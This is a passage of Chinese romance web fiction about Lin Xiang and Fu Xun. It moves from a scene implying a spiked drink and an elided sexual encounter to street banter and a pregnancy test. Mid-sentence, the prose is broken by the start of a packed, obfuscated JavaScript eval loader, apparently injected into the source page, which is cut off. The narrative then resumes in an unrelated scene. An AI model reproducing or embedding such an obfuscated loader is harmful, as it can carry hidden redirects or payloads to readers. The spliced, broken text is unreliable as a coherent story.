“不要碰我……”林湘说。他现在心头发慌得紧,一股不可名状的焦躁在四肢流窜,甚至有些发麻,有一簇火苗在他心底放肆地挠,傅恂的触碰只会让他觉得更焦躁。 傅恂盯着这张脸,目光沉沉,似乎想从这看出些什么来,又像是用尽了全力,以免自己在恍惚中低头、强制地亲下去。 ——酒有问题。 他把林湘从沙发上抱起来放在自己腿上,果然,腿上隐隐有湿意,透过裤子的布料传了过来。林湘双手撑在他胸前,挣脱着想下来,傅恂放在他腰间的双手却禁锢得越来越紧,“林湘?” 傅恂感觉自己正在安抚一只乖巧的猫咪,不轻不重的力度,而猫咪会控制不住地发出压抑的呜咽,“……傅恂。” “去洗澡吧,洗完澡就好了。”傅恂把他从自己腿上放下来,说,“还走得动么?” 林湘攀紧傅恂的手臂,顺着手臂上盘踞的青筋一点点往下滑,把小手放在了傅恂的掌心里,无意识地摩挲着,好像在说,要抱。 ...... 傅恂眯起眼睛仔细看他那张满是泪痕的脸,低头轻轻地吻了吻他的眼角,忽然问他:“你知道我是谁么?”恍惚中林湘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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林湘瞪大眼睛看着傅恂,自己此刻正在以一种诡异又暧昧的姿势跪趴在他身上,腰被锁死扣住,动也动不了。傅恂反倒一副从容懒散的表情,微挑着眉盯着他。 林湘现在在他怀里像只气鼓鼓的小兔子,四处张望来往的人群,祈祷他们不要注意这边有两个奇怪的人在街上摔跤又不肯起来,“放开我,快起来呀。” 傅恂不说话,把手臂收得更紧,林湘拗不过他,也张开手抱了抱傅恂,又去抱住他的胳膊,说:“等下你走在前面,牵我的手,好不好?地上好冷。” 话音刚落,傅恂便放开林湘,稳稳当当地站起来,伸手扶住林湘。他把林湘帽子的下沿往下轻轻拽了拽,恶作剧般,凑近他耳边说,“你要注意点,别像我一样摔了。那天...我没戴套。” 林湘的眼睛又瞪得圆滚,他连忙去捂住傅恂的嘴。傅恂说话没些分寸,在人来人往的街上说羞耻的话题,碰巧身边路过几位买菜回来的嬢嬢,指不定被听了去,在情报中心大肆八卦,第二天他们二人就会成为这片街区的明星。 林湘恨不得用帽子遮住整张脸,“你、你在说什么啊!” 被捂住嘴的人反而在笑,热气喷洒出来,在他掌心里又热又痒。傅恂知道他在装傻,扯下那只手握在自己掌心里,恶劣地又重复了一遍,“我说,我没戴套。” 林湘闭上眼睛,再也不回应他,脸上的表情无声地在说“我听不懂。” 傅恂替他整理好帽子和围巾,再牵着他继续慢步往前走。 第二天傍晚林湘披上外套,推门下楼,雪地静谧,只留下一排孤伶伶的脚印。整座城市都因为天色而慢慢沉静下来,附近只有老式居民区的四周还在动工,墙面上立起闪着微弱灯光的“傅氏重工二期”施工牌子。未来两年,这里会筑起许多栋几十层高的楼房,老式居民区也会变成城中村,匍匐在这高楼大厦之间,慢慢被人遗忘。他抬眼望了望高处,悬挂着红色的封顶大吉、7999一平米的售房价格。自己每个月的工资甚至买不起一平方米,他看得渐渐出神,在心里失落地喃喃,什么时候才可以拥有属于自己的家。 去药店的路上他想了很多,也许在以后,今天也算是个值得回忆的日子。他对于自己身体的认知其实并不算多,也没有钱去医院了解,只知道从小到大,除了不会流血之外,与女孩的并没有什么区别,或许可以被jin ru,或许也可以怀孕——傅恂并没有进入,正在他庆幸时,他却被科普了关于这方面的常识:体外s j、溢出来的液体,都有怀孕的概率。傅恂那天在雪地里的话让他仿佛被沸水浇了一身,摸到药店的试纸时,动作都是麻木的。 不要怀孕。 两人都没有错,如果硬要争出个对错,只有他是罪人,拉着傅恂与自己共沉沦的自私鬼。 他站在家里的卫生间镜子前,没有关门,好像在镜子的折射里看见了傅恂的脸,他压不住喉腔里翻搅的酸意,从眼眶里涌出来。傅恂已经慢慢长大,成为一个真正的男人,眉眼间隐约有傅霖的影子。如此相似的一双眉眼,却很容易分辨出来,傅恂的一向冷漠寡淡,而傅霖的总是温暖和煦,笑起来时眼睫毛像被露珠裹得潮湿的花蕊。前男友死得太早,这些年和他离得太远了,有时甚至忘了傅霖某年某月的脸,偏偏总能在傅恂身上找回傅霖的影子。林湘想去教堂祷告,向神寻求一个完美周全的方法让他不再重蹈覆辙。 下一秒,傅恂就从镜子里出现在他身边。两人看着试纸——没有中。 林湘在心里松了一口气。傅恂把整盒试纸都扔进了垃圾桶里,冷峻锋利的侧脸轮廓看不出任何表情。